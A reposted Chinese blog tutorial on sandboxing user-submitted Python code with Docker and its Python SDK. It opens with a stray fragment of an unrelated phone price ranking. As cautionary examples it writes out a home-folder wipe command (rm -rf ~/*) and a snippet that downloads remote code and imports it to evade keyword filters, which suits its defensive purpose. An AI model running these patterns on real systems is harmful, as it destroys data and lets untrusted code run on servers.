6月安卓手機性價比榜：Note 12 Turbo斷層式碾壓
6月份有一個618，雖然這是京東周年慶的日子，但別的電商也都不約而同的跟進了，反正促銷沒壞處，廠商和用戶都能滿意。618期間一些產品也出現了歷史低價，那么各個價位段的產品性價比
寫后端的同學，有時候需要在網站上實現一個功能，讓用戶上傳或者編寫自己的Python代碼。后端再運行這些代碼。
涉及到用戶自己上傳代碼，我們第一個想到的問題，就是如何避免用戶編寫危險命令。如果用戶的代碼里面涉及到下面兩行，在不做任何安全過濾的情況下，就會導致服務器的Home文件夾被清空。
import osos.system('rm -rf ~/*')有人想的比較簡單，直接判斷用戶的代碼里面有沒有os.system、exec、subprocess……這些危險關鍵詞不就可以了嗎？
這種想法乍看起來沒有問題，但細想下，就會發現非常天真。如果用戶的代碼像下面這樣寫，你又要如何應對？
import requestscode = requests.get('https://www.kingname.info/dangerous_code').textwith open('dangerous_code.py', 'w') as f: f.write(code)dangerous_module = __import__('dangerous_code')danderous_module.delete_all()其中https://www.kingname.info/dangerous_code對應的代碼如下：
import osdef delete_all(): os.system('rm -rf ~/*')這樣就可以繞過關鍵字檢查，并成功刪除你的文件了。
如果你的網站本身就是一個爬蟲管理平臺，你檢查用戶自定義的代碼時，肯定不能過濾掉requests這種網絡請求庫。那么你就很難判斷用戶下載下來的東西是否包含惡意代碼。
而且惡意代碼不一定是刪除你的東西，它完全可以直接把你項目下面的所有代碼打包，上傳到它指定的URL中，這樣就能竊取你網站里面所有代碼。
為了避免這樣的情況發生，我們就必須找一個干凈又獨立的環境來運行用戶的代碼。干凈的環境能確保惡意代碼沒有東西可以偷，獨立的環境能確保他即使刪除了所有文件，也不會影響到你。
顯然，最簡單直接的辦法，就是使用Docker來運行用戶的代碼。而使用Docker并不一定需要在終端使用Shell命令。我們可以使用Docker的Python SDK來實現構建鏡像和運行鏡像。
首先，確保你的服務器上面已經有Docker，并且正在運行。接下來，安裝Docker SDK：
pip install docker假設，你把用戶上傳的文件放在了user/<user_id>/upload文件夾下面，那么，首先你需要生成一個Dockerfile，并把這個Dockerfile放到upload文件夾中：
from python:3.10run pip install -r requirements.txtcopy . /appworkdir /app當用戶添加/修改了第三方庫時，你只需要更新requirements.txt即可讓鏡像里面的依賴符合用戶的需求。
接下來，我們開始構建鏡像并運行代碼：
import dockerclient = docker.from_env()client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定義container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他參數)這個代碼運行以后是非阻塞的，會立刻返回container對象。當你想查看代碼日志時，執行：
container.logs(tail=10) # 顯示最后10行日志就可以看到相關的日志了。
關于Docker SDK的更多操作，可以看他的官方文檔：Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]
[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python
本文鏈接：http://www.tebozhan.com/showinfo-26-15610-0.html一日一技：如何安全運行別人上傳的Python代碼？
聲明：本網頁內容旨在傳播知識，若有侵權等問題請及時與本網聯系，我們將在第一時間刪除處理。郵件：2376512515@qq.com
上一篇： 多模態LLM幻覺問題降低30%！業內首個“啄木鳥”免重訓方法誕生
下一篇： 用示例和應用程序了解必要的Golang庫
Copyright ? 2016-2023 天津谷騏科技有限公司 版權所有 sitemap.xml
違法及侵權請聯系：2376512515@qq.com 津ICP備18001702號
津公網安備 12010102000574號